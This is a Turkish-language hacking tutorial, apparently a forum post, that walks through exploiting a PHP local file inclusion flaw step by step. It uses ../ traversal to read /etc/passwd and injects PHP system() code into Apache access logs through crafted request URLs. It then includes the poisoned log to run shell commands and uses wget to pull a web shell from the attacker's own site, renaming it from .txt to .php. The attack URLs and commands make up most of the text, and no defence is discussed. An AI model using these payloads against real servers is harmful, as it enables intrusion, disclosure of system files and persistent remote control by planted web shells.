Server dizini : /usr/www/www.Cyber-warrior.org/www/test.php
/usr ( 1 .ci dizin )
/www ( 2 .ci dizin )
/www.Cyber-warrior.org ( 3. cü dizin )
/www ( 4. cü dizin )
/test.php ( şu an bulunduğumuz dizin )
İstediğimiz sayfa = /etc/passwd
Evet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var.Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.
../../../../etc/passwd
buradaki her bir ../ işareti bir üst dizin anlamına geliyor.4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk.Ve browserimizdeki adresi şöyle değiştirerek
http://localhost/test.php?sayfa=../../../../etc/passwdGelen veriye baktığımızda
# $FreeBSD$ #
root:*:0:0:RMx &:/root:/usr/local/bin/bash
Ve devamı..
Evet bu şekilde passwd dosyasını okuyabildik.İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye götürüyoruz. LFI üzerinden RCE ( Remote Command Execution = Uzaktan komut çalıştırma ) metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.
Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır.File inclusion metodları genelde bir linux sever için basittir.
Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum.Bilirsiniz web sitelerin çalışma mantığını.Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar.Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa ? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar.Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar.Peki bu benim ne işime yarayacak ?
Aslında bir çok şeye.Local file include metodnun can alıcı noktası da burada zaten.Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı ?
http://localhost/<?php phpinfo(); ?>
BİLGİ :
<?php phpinfo(); ?> ne demektir ?
php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir...Dissabled & enabled functions ’lara bakarak ne kullanacağımızı göre biliriz.
Elbetteki yazdırır...
Ama bunu yazdığına göre ben buraya istediğim şeyi yazdırarak komut çalıştırabilirim ( farkındaysanız yavaş yavaş RCE metoduna giriyoruz .) O halde istediğim sayfayı değiştiriyorum ve şöyle yapıyorum.
http://localhost/<?php system("ls -la"); ?>
yada şöyle bir veri göndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım.
http://localhost/<?php system($_GET[’mgg’]); ?>
BİLGİ :
<?php system("ls -la"); ?> nedir ?
php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET[’mgg’]; ise mgg den gelen bilgi anlamına gelir.mggden gelen bilgiyi sistem üzerinde çalıştır demek olur.
Bunu yaptığımızda ne olacak ? hemen bir hata sayfası..
404 This page not found
Adında bir hata sayfası getirecektir.Böylelikle ne yapmış olduk ? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk..Peki kodu enjekte ettik nasıl kullanacağım ben bunu ?
Aslında kullanması da basit.Sadece server tipine göre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz.Yine bir varsayım yapalım.
Örnek olarak atak yaptığım web sitenin kayıt yolu bu olsun;
/apache/logs/access.log
bunu kendi sistemimize uyarlıyoruz.
ve şöyle oluyor;
http://localhost/test.php?sayfa=../../../../apache/logs/acces.logBrowsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler örüntülenecektir.Dolaysıyla bizim kodumuz da orda olacaktır.Şimdi dosyamızı ve nerde olduğunu da bildiğimize göre dosyamızı çalıştırabiliriz.
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=ls -la
Peki şimdi ne yaptık ? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir.
Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linux’un wget fonksiyonunu kullanarak web siteye dosyamızı çekelim...
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget http://siteniz.com/shell_adresiniz.phpBu şekilde dosyanızı çekebilirsiniz.Tabi bazen sorun oluyor.İşte aksilik Şöyle bir senaryo daha üretelim ve işimizi zorlaştıralım ( gerçi kolay ama) wget ile php dosyalarını çekemeyebiliriz ( başıma çok geldiğinden söylüyorum bunu da ) o zaman kendi dosya çekeceğimiz siteye .txt uzantısında dosyamızı atıyoruz.Ve şöyle birşey yazıyoruz.
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=wget http://siteniz.com/shell_adresiniz.txtBu şekilde genelde çeker.Ne yapmış olduk txt dosyasını servera yüklemiş olduk.Fakat txt halinde çalışmaz bunun uzantısını değiştirelim.Onu da şöyle yapabiliriz.
http://localhost/test.php?sayfa=../../../../apache/logs/acces.log&mgg=mv shell_adi.txt shell_adi.php
Bu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik.İsterseniz adını da değiştirebilirsiniz size kalmış bir olaydır.